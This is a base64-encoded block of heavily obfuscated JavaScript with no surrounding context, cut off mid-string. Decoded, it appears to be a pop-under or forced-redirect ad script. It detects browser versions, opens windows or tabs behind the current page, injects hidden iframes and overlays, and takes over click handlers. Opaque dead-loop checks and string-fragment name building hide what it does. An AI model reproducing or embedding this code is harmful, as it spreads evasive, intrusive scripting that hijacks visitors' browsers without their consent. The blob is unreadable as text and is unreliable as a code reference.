0dyK1ZyK0dyK3hjK0dyK3hjK0dyK2ZjK0dyK2d0fHx0W1NjK0dyK21jXT09PXZhK0dyK2d0K0dyK210K0dyK1ZyK0dyK3hjJiZVbltpcl0odFthYStHcitHaV0oTykpfHx0aGlzLkIodCxGYytHcitWcitHcit4YytHcit4YytHcitmYytHcitndCkhPT15dTt9LFA6ZnVuY3Rpb24odCl7dCYmdFtfdCtHcitpXSYmdFtfdCtHcitpXVt4bitHcitXZV0odCk7fSxJOmZ1bmN0aW9uKHQsZSl7dmFyIG4scixvO2lmKHR5cGVvZiBlIT09VGMpe3JldHVybiB5dTt9aWYodHlwZW9mIHJpW2VlK0dyK3Z0K0dyK21dPT09WnMpdHJ5e3I9dFtfdCtHcitpXVtlZStHcit2dCtHcittXShlKXx8eS5qUXVlcnkoZSk7fWNhdGNoKHQpe31lbHNlIGlmKFpjLkEoKSl0cnl7cj15LmpRdWVyeShlKTt9Y2F0Y2godCl7fWlmKHIpZm9yKG89MDtvPHJbcGldO28rKylpZihyW29dPT09dCl7cmV0dXJuIGd1O31zd2l0Y2goZVswXSl7Y2FzZSBHcitUdCtHcjpuPVtsbyxlW2ZzXSgxKV07YnJlYWs7Y2FzZSBHcitzZStHcjpuPVtWYSxlW2ZzXSgxKV07fXJldHVybiBuP3RoaXMuVyh0LG5bMF0sblsxXSk6eXU7fSxmOmZ1bmN0aW9uKHQsZSl7dHJ5e3JldHVybiEoIXRba2ldW2VdfHwhdFtraV1bZV1bWW5dKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LE46ZnVuY3Rpb24odCl7dmFyIGU7ZT10aGlzLlIodCk7cmV0dXJuIGUmJmVbdW5dJiYheHNbaXJdKGVbdW5dKT9lW3VuXTp5dTt9LEo6ZnVuY3Rpb24odCxlLGksbil7Zm9yKHZhciByLG8scyxhPXRbWHMrR3IraF0oKVtDcl0obnx8R3IrVHQrR3IpLGM9ZVtYcytHcitoXSgpW0NyXShufHxHcitUdCtHciksdT0wLGY9ZHJbQm9dKGFbcGldLGNbcGldKTt1PGYmJihyPVVjKGFbdV18fDAsMTApLG89VWMoY1t1XXx8MCwxMCkscWMocikmJihyPTApLHFjKG8pJiYobz0wKSxzPXI+bz8xOi0xLHI9PT1vKTt1Kyspe3M9MDt9c3dpdGNoKGkpe2Nhc2UgR3IrdXIrR3I6dzUubzQoOCk7cmV0dXJuIHc1LnU0KDEscyk7Y2FzZSBHcit1citHcitldCtHcjp3NS5ZNCg5KTtyZXR1cm4gdzUuYzQocywxKTtjYXNlIEdyK3VpK0dyOnc1Lm80KDEwKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK3VpK0dyK2V0K0dyOnc1Llk0KDExKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK2V0K0dyK2V0K0dyOmNhc2UgR3IrZXQrR3IrZXQrR3IrZXQrR3I6ZGVmYXVsdDp3NS5ZNCg4KTtyZXR1cm4gdzUudTQoMCxzKTt9fSwkOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZT1wZVtDcl0oR3IpLGk9ZVtwaV0sbj0wLHI9R3I7bjx0O24rKyl7cis9ZVtkcltBY10oZHJbTW5dKCkqaSldO31yZXR1cm4gcjt9LGg6ZnVuY3Rpb24odCxlKXt0cnl7cmV0dXJuIHRbYWErR3IrR2ldKGUpO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sSDpmdW5jdGlvbih0LGUsaSl7dmFyIG47dzUubzQoMik7bj13NS5jNChoaSx0KTtyZXR1cm4gdHlwZW9mIHlbbl0hPT1nZSYmcm8oeVtuXSkseVtuXT1pbyhlLGkpO30sdzpmdW5jdGlvbigpe3JldHVybiBQdTt9LFU6ZnVuY3Rpb24odCl7cmV0dXJuIHRbU2MrR3IrbWNdPT09dmErR3IrZ3QrR3IrbXQrR3IrVnIrR3IreGMmJm5lW2lyXSh0W2FhK0dyK0dpXShPKSl8fHRbU2MrR3IrbWNdPT09cGErR3IrT24rR3IrRmMrR3IrUHMrR3IrcGE7fX07aXU9e3R0OmZ1bmN0aW9uKHQsZSl7dmFyIGkscTUsbTUsQTU7dHJ5e3E1PS0xNDE1MjczNDIzO201PS0zMzc1MDc5MjY7QTU9Mjtmb3IodmFyIEs1PTE7dzUuZDEoSzUudG9TdHJpbmcoKSxLNS50b1N0cmluZygpLmxlbmd0aCwzNzU1NSkhPT1xNTtLNSsrKXtyZXR1cm4gZXx8KGk9cmlbKHdyLUdyKSVqbipHcipMY10odFtIYyVHci9VZV0sdFtIYy9Hci14b10pKT9pOnRbVGldJiZ0W1hzLUdyLUNuXSYmdFsoWHItR3IpJUNuXTtBNSs9Mjt9aWYodzUuTDEoQTUudG9TdHJpbmcoKSxBNS50b1N0cmluZygpLmxlbmd0aCw3MjUzNikhPT1tNSl7cmV0dXJuIGUmJihpPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXSx0W0hjK0dyK3hvXSkpP2k6dFtUaV18fHRbWHMrR3IrQ25dfHx0W1hyK0dyK0NuXTt9fWNhdGNoKHQpe3JldHVybiB5dTt9fSxYOmZ1bmN0aW9uKHQsZSxpLG4pe3JldHVybiB0eXBlb2YgdFtIbitHcitDYStHcitFbl09PT1acz90W0huK0dyK0NhK0dyK0VuXShlLGksbnx8e30pOnRbRmUrR3IrQ2FdKE5vK2UsaSk7fSxLOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByO3I9ZnVuY3Rpb24oKXtpdS5aKHQsZSxyLG4pO2lbQ2ldKCk7fTtpdS5YKHQsZSxyLG4pO30sWjpmdW5jdGlvbih0LGUsaSxuKXtyZXR1cm4gdHlwZW9mIHRbeG4rR3IrQ2ErR3IrRW5dPT09WnM/dFt4bitHcitDYStHcitFbl0oZSxpLG58fHt9KTp0W0tpK0dyK0NhXShObytlLGkpO319OyEoWGM9e2l0OmZhW2lyXSh2dSksbnQ6c3RbaXJdKHZ1KSxtOmxlW2lyXSh2dSksZXQ6YWNbaXJdKHZ1KSxydDpTb1tpcl0odnUpLG90OnNpW2lyXSh2dSl8fEpyW2lyXSh2dSl8fHVlW2lyXSh2dVtmc10oMCw0KSksc3Q6dm9baXJdKHZ1KSxnOkFyW2lyXSh2dSkmJiFfYVtpcl0odnUpLGI6bHJbaXJdKHZ1KSYmIW1hW2lyXSh2dSksYXQ6bWVbaXJdKHZ1KSYmIWdyW2lyXSh2dSksY3Q6eFtpcl0odnUpLGQ6Rltpcl0odnUpLHV0OnlvW2lyXSh2dSksX3Q6bXUscHQ6WmMucShndSl8fG11LGx0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuX3QhPT1tdT90aGlzLl90OnRoaXMuX3Q9UWMuZHQoKSE9PXl1O30sSjpmdW5jdGlvbih0LGUpe3JldHVybiBaYy5KKFhjLmZ0LGUsdCk7fSxodDptb1tpcl0odnUpJiYhenJbaXJdKHZ1KSxmdDpaYy5xKHl1KXx8bXV9KS5ldHx8WGMuaHR8fFhjLmR8fFhjLmJ8fChYYy51dD1vNSk7KFljPWZ1bmN0aW9uKHQsZSxpKXt2YXIgbjtuPWl8fHt9O25bel09ZTt0aGlzLnZ0KG4pO3RoaXMubXQuYnR8fCh0aGlzLm10LmJ0PXJ1K3QpO3RoaXMuZ3QoKTt9KVtYdF09e2t0OntUdDpndSxDdDptdSxqdDp5dSxFdDpHcitQZStHcixGdDprdSxMdDpndSxBdDp5dSxPdDpndSx4dDptdSxQdDpudWxsLGJ0Om11LHd0Om11LFN0Omt1fSxtdDp7fSx5dDpudWxsLHp0OlpjLnYoKSxCdDpaYy5wKFtbT3IsMF1dKSxJdDpaYy5wKFtbTWUsMV1dKSxNdDpaYy5wKFtbU3IsMV1dKSxXdDpaYy5wKFtbRWksMF0sW1NyLDBdXSksRHQ6WmMucChbW01lLDBdXSksVXQ6WmMucChbW1p0LDBdXSksUnQ6WmMucChbW0VpLDBdXSksc2V0T3B0aW9uczpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy52dCh0KTt9LGd0OmZ1bmN0aW9uKCl7dmFyIHQsZSxpLG47dD1mdW5jdGlvbih0LGUpe3ZhciBpLG47bj17fTtuW3B1XT1beXUsZ3VdO25bX3VdPVt5dSx5dV07bltsdV09W2d1LGd1XTtuW2R1XT1bZ3UseXVdO2ZvcihpIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixpKSYmbltpXVswXT09PXQmJm5baV1bMV09PT1lKXtyZXR1cm4gaTt9cmV0dXJuIF91O307ZT1YYy5sdCgpO2k9dChHYy5tdC4kdC5uZXdUYWIsR2MubXQuJHQudW5kZXIpO249dCh0aGlzLm10LkF0LHRoaXMubXQuVHQpO2V8fG49PT1wdSYmKG49aSk9PT1wdSYmKG49bHUpO1hjLm90JiYobj09PV91JiYobj1kdSksbj09PXB1JiYobj1sdSkpO3RoaXMueXQ9bjt9LEh0OmZ1bmN0aW9uKCl7dmFyIGswLG4wLEYwO2lmKHR5cGVvZiB0aGlzLm10Lnh0PT09WnMpdHJ5e3JldHVybiB0aGlzLm10Lnh0W0NpXSh0aGlzLHRoaXMubXQpW1hzK0dyK2hdKCk7fWNhdGNoKHQpe3JldHVybiBLYy5lKHQpLHl1O31rMD0tMTAwMjA0NzAxMztuMD0tMTY1MTM4NjMwNztGMD0yO2Zvcih2YXIgTTA9MTt3NS5MMShNMC50b1N0cmluZygpLE0wLnRvU3RyaW5nKCkubGVuZ3RoLDY4NDExKSE9PWswO00wKyspe3JldHVybiB0aGlzLm10Lnh0O0YwKz0yO31pZih3NS5kMShGMC50b1N0cmluZygpLEYwLnRvU3RyaW5nKCkubGVuZ3RoLDkwOTM5KSE9PW4wKXtyZXR1cm4gdGhpcy5tdC54dDt9fSxMdDpmdW5jdGlvbigpe3ZhciB0LGUsRzcsQzcsazcsVjAsdTAseTA7dD10aGlzLm10O2U9dC5PdCE9PU5zJiZ0Lk90IT09TmV8fHQuT3Q9PT1OcyYmWGMub3R8fHQuT3Q9PT1OZSYmIVhjLm90O3RyeXtHNz0tMTkzODMwODU3MjtDNz0tMTE3NzY0NDk2NDtrNz0yO2Zvcih2YXIgRjc9MTt3NS5kMShGNy50b1N0cmluZygpLEY3LnRvU3RyaW5nKCkubGVuZ3RoLDg5NDI0KSE9PUc3O0Y3Kyspe3R5cGVvZiB0Lkx0PT09WnM/ZT1lJiZ0Lkx0W0NpXSh0aGlzLGUsdGhpcy5OdCgpKSE9PXl1OnR5cGVvZiB0Lkx0PT09YW4mJihlPWUmJnQuTHQpO2s3Kz0yO31pZih3NS5MMShrNy50b1N0cmluZygpLGs3LnRvU3RyaW5nKCkubGVuZ3RoLDUzNDE4KSE9PUM3KXstdC5MdCE9PVpzP2U9ZXx8dC5MdFtDaV0odGhpcyxlLHRoaXMuTnQoKSk9PT15dTohdC5MdD09YW58fChlPWV8fHQuTHQpO319Y2F0Y2godCl7S2MuZSh0KTt9VjA9Njg3MDAyMDA4O3UwPS0yOTc1OTkyODc7eTA9Mjtmb3IodmFyIHYwPTE7dzUuTDEodjAudG9TdHJpbmcoKSx2MC50b1N0cmluZygpLmxlbmd0aCw2NDU0MSkhPT1WMDt2MCsrKXtyZXR1cm4gR2MuSnQoKT9lfHwtdGhpcy5WdDplfHwrdHUuYyh0LmJ0KTt5MCs9Mjt9aWYodzUuTDEoeTAudG9TdHJpbmcoKSx5MC50b1N0cmluZygpLmxlbmd0aCwyOTMyNSkhPT11MCl7cmV0dXJuIEdjLkp0KCk/ZXx8LXRoaXMuVnQ6ZXx8K3R1LmModC5idCk7fXJldHVybiBHYy5KdCgpP2UmJiF0aGlzLlZ0OmUmJiF0dS5jKHQuYnQpO30sdnQ6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHI7dGhpcy5tdD1aYy55KHRoaXMuenQsdGhpcy5rdCx0aGlzLm10LHR8fHt9KTtmb3IoaSBpbiB0aGlzLm10KWlmKHlpW1h0XVtCYStHcitsdCtHcitvb11bQ2ldKHRoaXMubXQsaSkpc3dpdGNoKG49dGhpcy5tdFtpXSxpKXtjYXNlIHNvOnRoaXMubXQud3Q9bjticmVhaztjYXNlIHo6dGhpcy5tdC54dD1uO2JyZWFrO2Nhc2UgTGU6dGhpcy5tdC5PdD0obitHcilbWHMrR3IrdHMrR3IrbmNdKCk7YnJlYWs7Y2FzZSBOdCtHcittYzp0aGlzLm10LmJ0PW47YnJlYWs7Y2FzZSBOdCtHcitUOnRoaXMubXQuQ3Q9bjticmVhaztjYXNlIE50K0dyK2VhOnRoaXMubXQuRXQ9bjticmVhaztjYXNlIE50K0dyKyRzOnRoaXMubXQuUHQ9bjticmVhaztjYXNlIEVlOnRoaXMubXQuVHQ9bjticmVhaztjYXNlIEErR3IrTG86dGhpcy5tdC5BdD1uO2JyZWFrO2Nhc2UgcHQrR3IramU6dGhpcy5tdC5GdD1uO2JyZWFrO2Nhc2UgamErR3IramU6dGhpcy5tdC5TdD1uO2JyZWFrO2Nhc2UgSWMrR3IrY3I6dGhpcy5tdC5qdD1uO2JyZWFrO2Nhc2UgdGUrR3Irc3M6dGhpcy5tdC5MdD1uO31pZighWGMub3QmJiF0aGlzLm10LkF0KWZvcihyPVtbWGMuZyYmMTE9PT1YYy5wdCx0aGlzLlV0XSxbWGMuYiYmWGMucHQ8NDEsdGhpcy5JdF0sW1hjLmIsdGhpcy5CdF0sW1hjLmQmJlhjLnB0PDQ3LHRoaXMuTXRdLFtYYy51dCx0aGlzLkR0XSxbWGMuY3QsdGhpcy5SdF0sW1hjLmImJlhjLnB0Pj01OSx0aGlzLld0XSxbWGMudXQmJlhjLnB0Pj00Nix0aGlzLld0XV0sZT0wO2U8cltwaV07ZSsrKWlmKHJbZV1bMF0pZm9yKGkgaW4gcltlXVsxXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0ocltlXVsxXSxpKSYmKHRoaXMubXRbaV09cltlXVsxXVtpXSk7fX0sZ2V0T3B0aW9uczpmdW5jdGlvbigpe3JldHVybiB0aGlzLk50KCk7fSxOdDpmdW5jdGlvbigpe3ZhciB0LGU7ZT17fTtmb3IodCBpbiB0aGlzLm10KXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXSh0aGlzLm10LHQpJiZ0W3BpXT49MyYmKGVbdF09dGhpcy5tdFt0XSk7fXJldHVybiBlO30scXQ6ZnVuY3Rpb24oKXtHYy5KdCgpP3RoaXMuVnQ9Z3U6dHUuYSh0aGlzLm10LmJ0LDEsdGhpcy5tdC5DdCx0aGlzLm10LkV0LHRoaXMubXQuUHQpO319OyhudT1mdW5jdGlvbih0KXt2YXIgZTtlPXRoaXM7dGhpcy5RdD10O3RoaXMuR3Q9dGhpcy5ZdCgpO3RoaXMuS3Q9dGhpcy5adCgpO2l1LlgodGhpcy5HdCxncyxmdW5jdGlvbigpe0dzKGUuS3QpO1pjLlAoZS5HdCk7fSk7fSlbWHRdPXtZdDpmdW5jdGlvbigpe3ZhciB0LEs3LHI3LFE3O0s3PS0xODIwMzgxMDU7cjc9MTk5MDM1MjYxMTtRNz0yO2Zvcih2YXIgajc9MTt3NS5kMShqNy50b1N0cmluZygpLGo3LnRvU3RyaW5nKCkubGVuZ3RoLDg2ODQwKSE9PUs3O2o3Kyspe3Q9WmMueihoYyx7Y2xhc3M6ZnV9LEdyKTtyZXR1cm4gdGhpcy5RdFtTYytHcittY11bWHMrR3IrdHMrR3IrbmNdKCk9PT1Rcj9yaVtRcl1bSXQrR3IrV2VdKHQpOnRoaXMuUXRbX3QrR3IraV1bTmMrR3IrT3NdKHQsdGhpcy5RdFtWcytHcitrc10pLHQ7UTcrPTI7fWlmKHc1LkwxKFE3LnRvU3RyaW5nKCksUTcudG9TdHJpbmcoKS5sZW5ndGgsMzM0MykhPT1yNyl7dD1aYy56KGhjLHtjbGFzczpmdX0sR3IpO3JldHVybiB0aGlzLlF0W1NjKkdyL21jXVtYcypHci10cy1Hci1uY10oKT09UXI/cmlbUXJdW0l0L0dyL1dlXSh0KTp0aGlzLlF0W190L0dyJWldWyhOYy1HcikqT3NdKHQsdGhpcy5RdFsoVnMtR3IpJWtzXSksdDt9fSxadDpmdW5jdGlvbigpe3ZhciB0O3Q9dGhpcztyZXR1cm4gQ28oZnVuY3Rpb24oKXt2YXIgZSxpO2k9VWModC5RdFt4ZV1bc24rR3IrenNdLDEwKTt0LlF0W1NjK0dyK21jXVtYcytHcit0cytHcituY10oKT09PVFyJiYoaT05ZTkpOyhlPV9uK1Z0K2dvK2VyK0RhK1Z0K04rZXIrbG4rVnQraytlcitHcisoS2ErVnQrR3IpK3QuUXRbZnIrR3Ird2NdKyhobytlcitHcikrKG9jK1Z0K0dyKSt0LlF0W2ZyK0dyK2ddKyhobytlcitHcikrKEhpK1Z0K0dyKSt0LlF0W2ZyK0dyK1duXSsoaG8rZXIrR3IpKyhwK1Z0K0dyKSt0LlF0W2ZyK0dyK0NjXSsoaG8rZXIrR3IpKyhzbit3aStMK1Z0K0dyKSsocWMoaSk/MjppKzEpKSE9PXQuR3RbYWErR3IrR2ldKHhlKSYmdC5HdFtsaStHcitHaV0oeGUsZSk7fSwxNTApO319O251Llh0PWZ1bmN0aW9uKHQpe3ZhciBlO3c1Llk0KDEyKTtlPXc1LmM0KHJ1LExpLHdpLHdpLEdyLGllLEdyKTt0W2FhK0dyK0dpXShlKXx8dFthYStHcitHaV0obG8pPT09ZnV8fCh0W2xpK0dyK0dpXShlLDEpLG5ldyBudSh0KSk7fTsoUWM9e2R0OmZ1bmN0aW9uKCl7dmFyIHQsZTtlPXRoaXMuZWUoKTtmb3IodD0wO3Q8ZVtwaV07dCsrKWlmKGVbdF1bMV0oKT09PWd1KXtyZXR1cm4gZVt0XVswXTt9cmV0dXJuIHl1O30sZWU6ZnVuY3Rpb24oKXt2YXIgdDt0PVtdO3JldHVybiBYYy5vdHx8WGMuaXQ/W106KHRbTXJdKFt0aGlzLmllLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlhjLnB0Pj02NCYmWGMucHQ8Njc7fV0pLHRbTXJdKFt0aGlzLm5lLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubnQmJlhjLnB0Pj00MyYmWGMucHQ8NjQ7fV0pLHRbTXJdKFt0aGlzLnJlLGZ1bmN0aW9uKCl7dmFyIGI3LHE3LG03O2I3PS02MDMwNTI0OTU7cTc9LTQwNjg3OTgwNDttNz0yO2Zvcih2YXIgSTc9MTt3NS5MMShJNy50b1N0cmluZygpLEk3LnRvU3RyaW5nKCkubGVuZ3RoLDU1NDM5KSE9PWI3O0k3Kyspe3JldHVybiBYYy5ifHxaYy5ZKCl8fFhjLm18fFhjLnB0PD0xN3x8WGMucHQ+PTg5O203Kz0yO31pZih3NS5MMShtNy50b1N0cmluZygpLG03LnRvU3RyaW5nKCkubGVuZ3RoLDYyMDk0KSE9PXE3KXtyZXR1cm4gWGMuYnx8WmMuWSgpfHxYYy5tfHxYYy5wdDw9MTd8fFhjLnB0Pj04OTt9cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubSYmWGMucHQ+PTQ5JiZYYy5wdDw2NDt9XSksdFtNcl0oW3RoaXMub2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZDt9XSksdFtNcl0oW3RoaXMuc2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZyYmWGMucHQ+PTExO31dKSx0W01yXShbdGhpcy5hZSxmdW5jdGlvbigpe3JldHVybiBYYy5odDt9XSksdFtNcl0oW3RoaXMuY2UsZnVuY3Rpb24oKXt2YXIgVDAsRTAsbzA7VDA9MTIwNjMzNjEyMTtFMD0xMjk2MjQyMjUyO28wPTI7Zm9yKHZhciBwMD0xO3c1LmQxKHAwLnRvU3RyaW5nKCkscDAudG9TdHJpbmcoKS5sZW5ndGgsNDUyNzYpIT09VDA7cDArKyl7cmV0dXJuIFhjLnV0fHxYYy5udHx8WGMucHQ+PTc0O28wKz0yO31pZih3NS5MMShvMC50b1N0cmluZygpLG8wLnRvU3RyaW5nKCkubGVuZ3RoLDY1MzgpIT09RTApe3JldHVybiBYYy51dCYmWGMubnQmJlhjLnB0PD00ODt9fV0pLHQpO319KS50ZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMudGVbWHRdPXtfZTprdSx1ZTpmdW5jdGlvbih0KXt2YXIgcjUsUTUsZTU7cjU9LTk1ODI4OTMwMTtRNT0tNjIxNDQ4NDIyO2U1PTI7Zm9yKHZhciBaNT0xO3c1LmQxKFo1LnRvU3RyaW5nKCksWjUudG9TdHJpbmcoKS5sZW5ndGgsOTUyNjgpIT09cjU7WjUrKyl7dGhpcy5mZT10O2U1Kz0yO31pZih3NS5MMShlNS50b1N0cmluZygpLGU1LnRvU3RyaW5nKCkubGVuZ3RoLDE0MzU1KSE9PVE1KXt0aGlzLmZlPXQ7fX0sbGU6a3UscGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhO2k9dGhpcztuPWkuZmU7cj1uLkh0KCk7bz1uLm10O3M9by53dHx8WmMuJCg1KTthPVpjLmsobyk7aWYodD1mdW5jdGlvbigpe3RyeXtpZih0eXBlb2Ygby5GdD09PVpzJiZvLkZ0W0NpXShuLHIsbyk9PT15dSl7cmV0dXJuIHl1O319Y2F0Y2godCl7S2MuZSh0KTt9cmV0dXJuIG11O30sZT1mdW5jdGlvbih0KXtpZih0eXBlb2Ygby5TdD09PVpzKXRyeXtvLlN0W0NpXShuLHIsbyx0KTt9Y2F0Y2godCl7S2MuZSh0KTt9fSx0KCk9PT15dSl7cmV0dXJuIHl1O310eXBlb2Ygb1t6XT09PVRjJiZvW3pdIT09ciYmKHI9b1t6XSk7R2MuanQoby5qdCk7dGhpcy5fZSgpO3RyeXtyZXR1cm4gdGhpcy5sZShyLG8scyxhLGZ1bmN0aW9uKHQpe2kuZGUodCk7aS5oZSYmR2MuaGUoKTtlKHQpO30pO31jYXRjaCh0KXtyZXR1cm4gS2MuZSh0KSx5dTt9fSx2ZTpmdW5jdGlvbih0LGUsaSl7cmV0dXJuKEdjLm10LmJlP1pjLkM6QXUpKHQsZSxpKTt9LGRlOmt1LGhlOmd1fTtRYy5tZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMubWVbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTp5dSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3IodGhpcy52ZSh0LGksbikpO319KTtRYy5nZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuZ2VbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTohWGMub3QmJiFYYy5kLGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7cih0aGlzLnZlKHQsRmkpKTt9fSk7UWMueWU9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnllW1h0XT1aYy55KFFjLnRlW1h0XSx7a2U6ZnVuY3Rpb24oKXt2YXIgdCxlLGk7dD1HYy53ZSgpO2U9R2MueGUuUztpPXR5cGVvZiBHYy5tdC5PZT09PVpzP0djLm10Lk9lW0NpXSgpOkdjLm10Lk9lO3JldHVybiBmdW5jdGlvbigpe3ZhciBuLHI7cmV0dXJuIGkhPT1GdT9pOihuPVpjLiQoMSkscj1lP2k6R2MuQ2UodCl8fGksZXUucygpfHwhWGMub3QmJiFYYy5nP3I6KHR1LmEoY3UsbixtdSkscltaXSh2cixHcikrKEdyK3NlK0dyKStuKSk7fSgpO30sbGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgeDksejksaDksbyxzLGEsYyx1LGgsZixwO3g5PTE3MTA2NjI4Nzg7ejk9LTEwMzk3MjE3MTM7aDk9Mjtmb3IodmFyIEw5PTE7dzUuZDEoTDkudG9TdHJpbmcoKSxMOS50b1N0cmluZygpLmxlbmd0aCwzMDE4NykhPT14OTtMOSsrKXtoOSs9Mjt9aWYodzUuZDEoaDkudG9TdHJpbmcoKSxoOS50b1N0cmluZygpLmxlbmd0aCw0NTQ4MCkhPT16OSl7fWE9dGhpcy5rZSgpO2M9R2Mud2UoKTt1PVpjLk4oYyk7aD0xNTtmPVtdO3A9ZnVuY3Rpb24odCl7dmFyIGU7dHlwZW9mIHRbQW5dPT09WnMmJihlPXRbQW5dLGl1LlgodCxncyxlKSk7dFtBbl09ZnVuY3Rpb24oKXtyZXR1cm4geXU7fTt9O2ZvcihHYy5FZSgpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKSE9PUZpJiZaYy5mKGMsdW4pJiYocChjKSwwIT09Y1thYStHcitHaV0odW4pW0wrR3IrV2FdKEN0KSYmKGE9Y1thYStHcitHaV0odW4pKT09PUdyJiYoYT1GdSkpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKT09PUZpJiZaYy5mKGMsdW4pJiYocChjKSxpbyhmdW5jdGlvbigpe2NbQW5dPW11O30sM2UzKSxHYy5tdC5QZT9hPWNbYWErR3IrR2ldKHVuKTooYT1GdSxYYy5vdCYmKFhjLnV0P2ZbTXJdKGZ1bmN0aW9uKCl7QXUoY1thYStHcitHaV0odW4pLEZpKTt9KTppbyhmdW5jdGlvbigpe0F1KGNbYWErR3IrR2ldKHVuKSxGaSk7fSwyMCkpKSksWGMuZXQmJlhjLnV0fHxYYy5ldCYmWGMuc3QmJiFYYy5kJiYhWGMuYiYmIVhjLmh0PyhBdShhLEZpKSxaYy5IKEJyLGZ1bmN0aW9uKCl7WmMuVCh0KTt9LGgpKTohWGMub3QmJlpjLmgoYyxUaSkhPT1GaSYmKFhjLnV0JiZYYy5zdHx8WGMuaHQmJlhjLnB0PDEwfHxYYy5iJiZYYy5wdDw0MSk/WGMudXQ/KFpjLlEoYSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KFpjLlEodCksY1tTYytHcittY109PT1PbiYmdSYmWmMuVCh1KSk6WGMuZXQmJlhjLmQ/KG89QXUoYSxGaSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KG89eVtRYV0oVWErVnQrY2ksRmkpKT8ob1tFaV1bdW5dPWEsWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6bz1BdSh0LEZpKSxzPTA7czxmW3BpXTtzKyspe2Zbc11bQ2ldKCk7fW8mJnIobyk7fX0pO1FjLm9lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5vZVtYdF09WmMueShRYy50ZVtYdF0se2hlOnl1LGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG87bz10aGlzLnZlKHQsaSxuKTtvW2tuXSgpO1R1W2JvXSgpO1pjLk0obyk7aW8oZnVuY3Rpb24oKXtyKG8pO30sMWUzKTt9fSk7UWMuY2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLmNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZSh0LGksbik7cz1HYy5UZSgxZTMpO2l1LksoeSxibyxmdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9KTtvW2NjXT1mdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9O3Iobyk7fX0pO1FjLmFlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5hZVtYdF09WmMueShRYy50ZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIEQ5LFc5LGw5LG87RDk9MTk0OTIwNzgwOTtXOT04OTkwMjg0O2w5PTI7Zm9yKHZhciBWOT0xO3c1LkwxKFY5LnRvU3RyaW5nKCksVjkudG9TdHJpbmcoKS5sZW5ndGgsNTc4NTApIT09RDk7VjkrKyl7bDkrPTI7fWlmKHc1LkwxKGw5LnRvU3RyaW5nKCksbDkudG9TdHJpbmcoKS5sZW5ndGgsNTEwNjgpIT09Vzkpe315W3NvXT1aYy4kKDUpO289dGhpcy52ZSh0LGksbik7dGhpcy52ZShHcix5W3NvXSxHcik7eVtzb109bXU7cihvKTt9LGhlOnl1fSk7UWMuc2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZShQdT90OkZ1LGksbik7cz1mdW5jdGlvbigpe29bRWldW3VuXT10O307aXUuSyhvLGtuLHMpO29ba25dKCk7VHVbYm9dKCk7aW8ocywxMDApO3Iobyk7fSxoZTp5dX0pO1FjLm5lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5uZVtYdF09WmMueShRYy50ZVtYdF0se0ZlOmZ1bmN0aW9uKCl7dmFyIHQsZTtlPVpjLnooYXIse2RhdGE6WmMuTChlbitQZStNYyx0aGlzLkFlKStaYy4kKDMpfSk7cmV0dXJuKHQ9WmMueihoYyx7c3R5bGU6UGkrVnQrYStlcitvYytWdCtIcytlcitLYStWdCtIcytlcitEYStWdCtOK2VyK3ArVnQrRnIrSGErR3IrZXIrSGkrVnQrem4rZXIrayt3aStHYStWdCtYaStlciskbytWdCthK2VyK0dyfSkpW0l0K0dyK1dlXShlKSxbZSx0XTt9LFNlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMueSh0LHt9KTtyZXR1cm4gZVtwXT1lW0hpXT05ZTUsZVtvY109ZVtLYV09MSxlO30sQWU6THQrR3IrdGErR3IrRmMrR3IrUHMrR3Irb24rR3IrV2MrR3IreG8rR3IrJCtHcithaStHcituK0dyK1N